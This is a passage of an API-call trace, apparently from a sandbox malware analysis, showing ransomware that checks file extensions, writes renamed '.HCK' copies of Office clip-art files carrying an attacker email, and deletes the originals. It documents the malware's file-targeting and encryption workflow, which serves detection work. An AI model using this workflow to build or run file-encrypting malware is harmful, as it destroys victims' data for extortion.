lpString2=".JPG") returned 1 [0168.455] lstrlenW (lpString=".xls") returned 4 [0168.455] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.455] lstrlenW (lpString=".xlsx") returned 5 [0168.455] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.455] lstrlenW (lpString=".ppt") returned 4 [0168.455] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.455] lstrlenW (lpString=".zip") returned 4 [0168.455] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.455] lstrlenW (lpString=".rar") returned 4 [0168.455] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.455] lstrlenW (lpString=".bz2") returned 4 [0168.455] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.455] lstrlenW (lpString=".7z") returned 3 [0168.455] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.455] lstrlenW (lpString=".dbf") returned 4 [0168.455] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".1cd") returned 4 [0168.456] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".jpg") returned 4 [0168.456] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".doc") returned 4 [0168.456] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.456] lstrlenW (lpString=".docx") returned 5 [0168.456] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0168.456] lstrlenW (lpString=".pdf") returned 4 [0168.456] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.456] lstrlenW (lpString=".xls") returned 4 [0168.456] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.456] lstrlenW (lpString=".xlsx") returned 5 [0168.456] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0168.456] lstrlenW (lpString=".ppt") returned 4 [0168.456] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".zip") returned 4 [0168.456] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.456] lstrlenW (lpString=".rar") returned 4 [0168.456] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.456] lstrlenW (lpString=".bz2") returned 4 [0168.456] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.456] lstrlenW (lpString=".7z") returned 3 [0168.456] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".dbf") returned 4 [0168.456] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".1cd") returned 4 [0168.456] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0148309.JPG") returned 68 [0168.456] lstrlenW (lpString=".jpg") returned 4 [0168.456] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.456] lstrcmpiW (lpString1=".JPG", lpString2=".HCK") returned 1 [0168.456] lstrlenW (lpString="J0149118.JPG") returned 12 [0168.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0168.462] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=64802) returned 1 [0168.462] CloseHandle (hObject=0x39c) returned 1 [0168.462] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 0x220 [0168.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0168.476] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.476] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.476] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0168.494] GetLastError () returned 0x0 [0168.494] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xfd22, lpOverlapped=0x0) returned 1 [0168.497] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xfd30, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xfd30, lpOverlapped=0x0) returned 1 [0168.498] ReadFile (in: hFile=0x388, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.498] WriteFile (in: hFile=0x330, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.498] SetEndOfFile (hFile=0x330) returned 1 [0168.501] CloseHandle (hObject=0x330) returned 1 [0168.503] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.503] SetEndOfFile (hFile=0x388) returned 1 [0168.509] CloseHandle (hObject=0x388) returned 1 [0168.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0149118.jpg")) returned 1 [0168.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.511] lstrlenW (lpString=".doc") returned 4 [0168.511] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.511] lstrlenW (lpString=".docx") returned 5 [0168.511] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.511] lstrlenW (lpString=".pdf") returned 4 [0168.511] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.511] lstrlenW (lpString=".xls") returned 4 [0168.511] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.511] lstrlenW (lpString=".xlsx") returned 5 [0168.511] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.511] lstrlenW (lpString=".ppt") returned 4 [0168.512] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".zip") returned 4 [0168.512] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString=".rar") returned 4 [0168.512] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString=".bz2") returned 4 [0168.512] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString=".7z") returned 3 [0168.512] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".dbf") returned 4 [0168.512] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".1cd") returned 4 [0168.512] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".jpg") returned 4 [0168.512] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".doc") returned 4 [0168.512] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString=".docx") returned 5 [0168.512] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0168.512] lstrlenW (lpString=".pdf") returned 4 [0168.512] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString=".xls") returned 4 [0168.512] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString=".xlsx") returned 5 [0168.512] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0168.512] lstrlenW (lpString=".ppt") returned 4 [0168.512] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".zip") returned 4 [0168.512] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString=".rar") returned 4 [0168.512] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0168.512] lstrlenW (lpString=".bz2") returned 4 [0168.512] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString=".7z") returned 3 [0168.512] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".dbf") returned 4 [0168.512] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".1cd") returned 4 [0168.512] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0168.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0149118.JPG") returned 68 [0168.512] lstrlenW (lpString=".jpg") returned 4 [0168.512] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0168.513] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.513] lstrlenW (lpString="J0151045.WMF") returned 12 [0168.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0168.515] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15464) returned 1 [0168.515] CloseHandle (hObject=0x354) returned 1 [0168.515] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 0x220 [0168.520] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0168.528] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.528] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.534] GetLastError () returned 0x0 [0168.534] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3c68, lpOverlapped=0x0) returned 1 [0168.536] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3c70, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3c70, lpOverlapped=0x0) returned 1 [0168.537] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.537] WriteFile (in: hFile=0x3ac, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.537] SetEndOfFile (hFile=0x3ac) returned 1 [0168.542] CloseHandle (hObject=0x3ac) returned 1 [0168.543] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.543] SetEndOfFile (hFile=0x368) returned 1 [0168.546] CloseHandle (hObject=0x368) returned 1 [0168.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.548] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151045.wmf")) returned 1 [0168.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.553] lstrlenW (lpString=".doc") returned 4 [0168.553] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.553] lstrlenW (lpString=".docx") returned 5 [0168.553] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0168.553] lstrlenW (lpString=".pdf") returned 4 [0168.553] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.553] lstrlenW (lpString=".xls") returned 4 [0168.553] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.553] lstrlenW (lpString=".xlsx") returned 5 [0168.553] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0168.553] lstrlenW (lpString=".ppt") returned 4 [0168.553] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.553] lstrlenW (lpString=".zip") returned 4 [0168.553] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.553] lstrlenW (lpString=".rar") returned 4 [0168.553] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.553] lstrlenW (lpString=".bz2") returned 4 [0168.553] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.553] lstrlenW (lpString=".7z") returned 3 [0168.553] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.553] lstrlenW (lpString=".dbf") returned 4 [0168.553] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".1cd") returned 4 [0168.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".jpg") returned 4 [0168.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".doc") returned 4 [0168.554] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString=".docx") returned 5 [0168.554] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0168.554] lstrlenW (lpString=".pdf") returned 4 [0168.554] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString=".xls") returned 4 [0168.554] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.554] lstrlenW (lpString=".xlsx") returned 5 [0168.554] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0168.554] lstrlenW (lpString=".ppt") returned 4 [0168.554] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".zip") returned 4 [0168.554] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0168.554] lstrlenW (lpString=".rar") returned 4 [0168.554] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString=".bz2") returned 4 [0168.554] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString=".7z") returned 3 [0168.554] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".dbf") returned 4 [0168.554] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".1cd") returned 4 [0168.554] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0168.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151045.WMF") returned 68 [0168.554] lstrlenW (lpString=".jpg") returned 4 [0168.554] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0168.554] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0168.554] lstrlenW (lpString="J0151063.WMF") returned 12 [0168.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0168.559] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10632) returned 1 [0168.560] CloseHandle (hObject=0x3ac) returned 1 [0168.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 0x220 [0168.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0168.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0168.569] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.569] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0168.581] GetLastError () returned 0x0 [0168.581] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x2988, lpOverlapped=0x0) returned 1 [0168.584] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2990, lpOverlapped=0x0) returned 1 [0168.585] ReadFile (in: hFile=0x378, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0168.585] WriteFile (in: hFile=0x360, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0168.585] SetEndOfFile (hFile=0x360) returned 1 [0168.589] CloseHandle (hObject=0x360) returned 1 [0168.592] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0168.592] SetEndOfFile (hFile=0x378) returned 1 [0168.597] CloseHandle (hObject=0x378) returned 1 [0168.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0168.599] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0151063.wmf")) returned 1 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString=".doc") returned 4 [0168.603] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString=".docx") returned 5 [0168.603] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0168.603] lstrlenW (lpString=".pdf") returned 4 [0168.603] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString=".xls") returned 4 [0168.603] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0168.603] lstrlenW (lpString=".xlsx") returned 5 [0168.603] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0168.603] lstrlenW (lpString=".ppt") returned 4 [0168.603] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0168.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151063.WMF") returned 68 [0168.603] lstrlenW (lpString=".zip") returned 4 [0168.603] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 